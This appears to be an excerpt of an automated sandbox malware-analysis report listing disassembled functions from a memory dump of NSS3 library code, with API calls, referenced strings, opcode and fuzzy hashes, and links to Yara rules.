Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$sqlite3_free
String ID:
API String ID: 1407842778-0
Opcode ID: 3fe829e5dc399e983e1fee2fd205d0ed70b3846db46e779cbce011ff502b331d
Instruction ID: 4f204bcba08f6c761a7400830394f99abd3698f91c11aa76ddccf598181d50c5
Opcode Fuzzy Hash: 3fe829e5dc399e983e1fee2fd205d0ed70b3846db46e779cbce011ff502b331d
Instruction Fuzzy Hash: 5F619135704200CBDB48DF60E9A9669737ABB4A725B2C052DD40787E01CB39FD8ACB92

Function 6CA72D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CA72D69

Strings

winSeekFile, xrefs: 6CA72E9C
winTruncate2, xrefs: 6CA72EF8
winUnmapfile1, xrefs: 6CA72F55
winTruncate1, xrefs: 6CA72EBE
winUnmapfile2, xrefs: 6CA72F7F

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 47548c9ee31a9733abb5ab513a7a5acd2e49d6caa20bdc4c08ca3c43262dfc19
Instruction ID: 90e31056208a6676a0b7ba7cebd04a4a47a87a13d9c5404a83e44aa103bce250
Opcode Fuzzy Hash: 47548c9ee31a9733abb5ab513a7a5acd2e49d6caa20bdc4c08ca3c43262dfc19
Instruction Fuzzy Hash: EF61C079B00204DFDB54CF68D894AAE7BB1FB49354F148638E9069B780DB31AD46CBA1

Function 6CA88620 Relevance: 10.6, APIs: 7, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

SECITEM_CopyItem_Util.NSS3(00000000,00000000,6CA87310,00000000,6CA87310,?,?,00000004,?), ref: 6CA88684

Part of subcall function 6CADFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAD8D2D,?,00000000,?), ref: 6CADFB85
Part of subcall function 6CADFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CADFBB1

SECITEM_CopyItem_Util.NSS3(00000000,-0000000C,6CA87304,?,?,?,00000000,6CA87310,?,?,00000004,?), ref: 6CA8869F
PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,?,?,?,?,?,00000000,6CA87310,?,?,00000004,?), ref: 6CA886D7
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,00000000,6CA87310,?,?,00000004,?), ref: 6CA88706
PORT_ArenaAlloc_Util.NSS3(00000000,00000018,00000000,6CA87310,00000004,00000000,?,6CA88A20,00000004,00000000,6CA87310,?,?,00000004,?), ref: 6CA88656

Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE10F3
Part of subcall function 6CAE10C0: EnterCriticalSection.KERNEL32(?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE110C
Part of subcall function 6CAE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1141
Part of subcall function 6CAE10C0: PR_Unlock.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1182
Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000008,00000000,6CA87310,00000004,00000000,?,6CA88A20,00000004,00000000,6CA87310,?,?,00000004,?), ref: 6CA88763
PORT_ArenaGrow_Util.NSS3(00000000,6CA88A20,?,?,00000000,6CA87310,00000004,00000000,?,6CA88A20,00000004,00000000,6CA87310,?,?,00000004), ref: 6CA88795

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyGrow_Item_Value$AllocateCriticalEnterSectionUnlockmemcpy
String ID:
API String ID: 1239214001-0
Opcode ID: edab0757da17ce9ed80277259f892125aa72fc68a5204f4ba0abaa766cbc824c
Instruction ID: 1234a2ecbf277a65244654f2946eb43e4d42cedba8c0640c776b975658397284
Opcode Fuzzy Hash: edab0757da17ce9ed80277259f892125aa72fc68a5204f4ba0abaa766cbc824c
Instruction Fuzzy Hash: 1241E771902211AFEB108F24CC00FAB37B9EF41358F19426AEC159B751EB71E989CBE1

Function 6CACAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CACAB3E,?,?,?), ref: 6CACAC35

Part of subcall function 6CAACEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CAACF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CACAB3E,?,?,?), ref: 6CACAC55

Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE10F3
Part of subcall function 6CAE10C0: EnterCriticalSection.KERNEL32(?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE110C
Part of subcall function 6CAE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1141
Part of subcall function 6CAE10C0: PR_Unlock.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1182
Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CACAB3E,?,?), ref: 6CACAC70

Part of subcall function 6CAAE300: TlsGetValue.KERNEL32 ref: 6CAAE33C
Part of subcall function 6CAAE300: EnterCriticalSection.KERNEL32(?), ref: 6CAAE350
Part of subcall function 6CAAE300: PR_Unlock.NSS3(?), ref: 6CAAE5BC
Part of subcall function 6CAAE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CAAE5CA
Part of subcall function 6CAAE300: TlsGetValue.KERNEL32 ref: 6CAAE5F2
Part of subcall function 6CAAE300: EnterCriticalSection.KERNEL32(?), ref: 6CAAE606
Part of subcall function 6CAAE300: PORT_Alloc_Util.NSS3(?), ref: 6CAAE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CACAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CACAB3E), ref: 6CACACD7
PORT_Alloc_Util.NSS3(?), ref: 6CACAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CACAD2B

Part of subcall function 6CAAF360: TlsGetValue.KERNEL32(00000000,?,6CACA904,?), ref: 6CAAF38B
Part of subcall function 6CAAF360: EnterCriticalSection.KERNEL32(?,?,?,6CACA904,?), ref: 6CAAF3A0
Part of subcall function 6CAAF360: PR_Unlock.NSS3(?,?,?,?,6CACA904,?), ref: 6CAAF3D3

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: a75c0287168f7b0a7ef31b6c6c44040715ba6e4e39d72e05973ca760bc582fb8
Instruction ID: 93f7bf7b961b4ac4b8cba4f0351ce25d78d86855d9a6a4c202222314421eb51b
Opcode Fuzzy Hash: a75c0287168f7b0a7ef31b6c6c44040715ba6e4e39d72e05973ca760bc582fb8
Instruction Fuzzy Hash: 9A3117B1F046055FEB049FA9CC409BF7777AF8472CB188128E8159B740EB31DD9687A2

Function 6CAA8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CAA8C7C

Part of subcall function 6CB49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CB90A27), ref: 6CB49DC6
Part of subcall function 6CB49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CB90A27), ref: 6CB49DD1
Part of subcall function 6CB49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB49DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA8CB0
TlsGetValue.KERNEL32 ref: 6CAA8CD1
EnterCriticalSection.KERNEL32(?), ref: 6CAA8CE5
PR_Unlock.NSS3(?), ref: 6CAA8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CAA8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA8D93

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 96e5ca4d884216f22b9cd3e8efc05314487ae68b1ca62dc39aad911fdac55598
Instruction ID: 3843ced61bc566074b2e7cd87e391f7ef31b2e32ea3a046c8cad2be12cf236df
Opcode Fuzzy Hash: 96e5ca4d884216f22b9cd3e8efc05314487ae68b1ca62dc39aad911fdac55598
Instruction Fuzzy Hash: 52316A71A01641AFE700AFA8DC407EAB7B4FF05318F18013AEA1967B50E735A9A5CBC1

Function 6CAC8500 Relevance: 10.6, APIs: 7, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CAC95DC,00000000,00000000,00000000,?,6CAC95DC,00000000,00000000,?,6CAA7F4A,00000000,?,00000000,00000000), ref: 6CAC8517

Part of subcall function 6CADBE30: SECOID_FindOID_Util.NSS3(6CA9311B,00000000,?,6CA9311B,?), ref: 6CADBE44

PORT_NewArena_Util.NSS3(00000800,00000000,00000000,?,6CAA7F4A,00000000,?,00000000,00000000), ref: 6CAC8585
PORT_ArenaAlloc_Util.NSS3(00000000,00000034,?,00000000,00000000,?,6CAA7F4A,00000000,?,00000000,00000000), ref: 6CAC859A
SEC_ASN1DecodeItem_Util.NSS3(00000000,00000000,6CBAD8C4,6CAC95D0,?,?,?,00000000,00000000,?,6CAA7F4A,00000000,?,00000000,00000000), ref: 6CAC85CC
SECOID_GetAlgorithmTag_Util.NSS3(-0000001C,?,?,?,?,?,?,?,00000000,00000000,?,6CAA7F4A,00000000,?,00000000,00000000), ref: 6CAC85E1
PORT_FreeArena_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA7F4A,00000000,?), ref: 6CAC85F4

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$AlgorithmArena_Tag_$Alloc_ArenaDecodeFindFreeItem_
String ID:
API String ID: 738345241-0
Opcode ID: bbb535ee5ef6bffb922cbeebfe84972c377636c9a12e6577f7b0713f003ebb88
Instruction ID: e1052789ed1f086ca714cf6112d7f51fc527d3dda70f5725a06b749e91115bac
Opcode Fuzzy Hash: bbb535ee5ef6bffb922cbeebfe84972c377636c9a12e6577f7b0713f003ebb88
Instruction Fuzzy Hash: 543135B2F0128057E710852D9C50BEA3219BB2139CF5A0677E905D7EC2EB14D9D882A7

Function 6CA94590 Relevance: 10.6, APIs: 7, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA945B5

Part of subcall function 6CAE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA887ED,00000800,6CA7EF74,00000000), ref: 6CAE1000
Part of subcall function 6CAE0FF0: PR_NewLock.NSS3(?,00000800,6CA7EF74,00000000), ref: 6CAE1016
Part of subcall function 6CAE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA887ED,00000008,?,00000800,6CA7EF74,00000000), ref: 6CAE102B

PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CA945C9

Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE10F3
Part of subcall function 6CAE10C0: EnterCriticalSection.KERNEL32(?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE110C
Part of subcall function 6CAE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1141
Part of subcall function 6CAE10C0: PR_Unlock.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1182
Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE119C

memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CA945E6
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA945F8

Part of subcall function 6CADFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAD8D2D,?,00000000,?), ref: 6CADFB85
Part of subcall function 6CADFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CADFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA94647
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CBAA0F4,?), ref: 6CA9468C
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA946A1

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpymemset
String ID:
API String ID: 1594507116-0
Opcode ID: e13f9f6169f06a7d0a27feb7505a580b1d189da93289bff02f2abdda21f719f5
Instruction ID: d68c07e784e3236d34b1368201426ff03f279ae4255cb897213ff8cd2339fbb4
Opcode Fuzzy Hash: e13f9f6169f06a7d0a27feb7505a580b1d189da93289bff02f2abdda21f719f5
Instruction Fuzzy Hash: B331D4B1A003145BFF105E68DC52BAF36E8EB46308F144039EA14DF785EB79D8488BA6

Function 6CAA2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CA9E728,?,00000038,?,?,00000000), ref: 6CAA2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CAA2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CAA2E9E
PR_Unlock.NSS3(?), ref: 6CAA2EAB
PR_Unlock.NSS3(?), ref: 6CAA2F0D

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 9ebe05bd1a8242376b5234bd1dceba534322413d761ef1a7169210b6543a0b41
Instruction ID: 38f20504fca34e828a0ee372a2f09eb96f6510c6ef93bf65c8c9cd9390b42bfd
Opcode Fuzzy Hash: 9ebe05bd1a8242376b5234bd1dceba534322413d761ef1a7169210b6543a0b41
Instruction Fuzzy Hash: 6731E7B5A00505ABEB005F69EC4487ABB79FF49259B188264ED1CC7611EB31ECF5C7E0

Function 6CAD4470 Relevance: 10.6, APIs: 7, Instructions: 82COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6CA97296,00000000), ref: 6CAD4487
EnterCriticalSection.KERNEL32(?,?,?,6CA97296,00000000), ref: 6CAD44A0
PR_Unlock.NSS3(?,?,?,?,6CA97296,00000000), ref: 6CAD44BB
SECMOD_DestroyModule.NSS3(?,?,?,?,6CA97296,00000000), ref: 6CAD44DA
DeleteCriticalSection.KERNEL32(?,?,?,?,6CA97296,00000000), ref: 6CAD4530
free.MOZGLUE(?,?,?,?,?,6CA97296,00000000), ref: 6CAD453C
PORT_FreeArena_Util.NSS3 ref: 6CAD454F

Part of subcall function 6CABCAA0: PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6CA9B1EE,D958E836,?,6CAD51C5), ref: 6CABCAFA
Part of subcall function 6CABCAA0: PR_UnloadLibrary.NSS3(?,6CAD51C5), ref: 6CABCB09

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSection$Arena_DeleteDestroyEnterFreeLibraryModuleSecureUnloadUnlockUtilValuefree
String ID:
API String ID: 3590924995-0
Opcode ID: 4d65da362b8731581ef16cb0fca70c736422942e402256fad149a1adf3a86ef5
Instruction ID: 9f0b9fb9f0048d9ad71cd01d416e32931920695bb54a91c3c90e1431f91373d1
Opcode Fuzzy Hash: 4d65da362b8731581ef16cb0fca70c736422942e402256fad149a1adf3a86ef5
Instruction Fuzzy Hash: 25316DB4A04A158FDB00AF78C184669BBF0FF09359F064669D89997B01E735F8D8CBC1

Function 6CAECEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CAECD93,?), ref: 6CAECEEE

Part of subcall function 6CAE14C0: TlsGetValue.KERNEL32 ref: 6CAE14E0
Part of subcall function 6CAE14C0: EnterCriticalSection.KERNEL32 ref: 6CAE14F5
Part of subcall function 6CAE14C0: PR_Unlock.NSS3 ref: 6CAE150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CAECD93,?), ref: 6CAECEFC

Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE10F3
Part of subcall function 6CAE10C0: EnterCriticalSection.KERNEL32(?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE110C
Part of subcall function 6CAE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1141
Part of subcall function 6CAE10C0: PR_Unlock.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1182
Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CAECD93,?), ref: 6CAECF0B

Part of subcall function 6CAE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CAECD93,?), ref: 6CAECF1D

Part of subcall function 6CADFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAD8D2D,?,00000000,?), ref: 6CADFB85
Part of subcall function 6CADFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CADFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CAECD93,?), ref: 6CAECF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CAECD93,?), ref: 6CAECF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CAECD93,?,?,?,?,?,?,?,?,?,?,?,6CAECD93,?), ref: 6CAECF78

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: ac723c47339efdedf914acb21e75762a4e032992053db14b8e50b98e019366b0
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 4811C0B1A003005BEB04AB6A6D41B7BB9EC9F4C14DF084439AD09D7742FB70DA48A6F1

Function 6CA98C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA98C1B
EnterCriticalSection.KERNEL32 ref: 6CA98C34
PL_ArenaAllocate.NSS3 ref: 6CA98C65
PR_Unlock.NSS3 ref: 6CA98C9C
PR_Unlock.NSS3 ref: 6CA98CB6

Part of subcall function 6CB2DD70: TlsGetValue.KERNEL32 ref: 6CB2DD8C
Part of subcall function 6CB2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB2DDB4

Strings

KRAM, xrefs: 6CA98C8F

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 009e4b5cd876c885a6d21c7d8d837f5e790206f952bfc5c21d679a66ca46ef24
Instruction ID: b2fc72dc9f1c0bb78decd7490756a7447e772b32fd6549ad3ec8e8387c306e43
Opcode Fuzzy Hash: 009e4b5cd876c885a6d21c7d8d837f5e790206f952bfc5c21d679a66ca46ef24
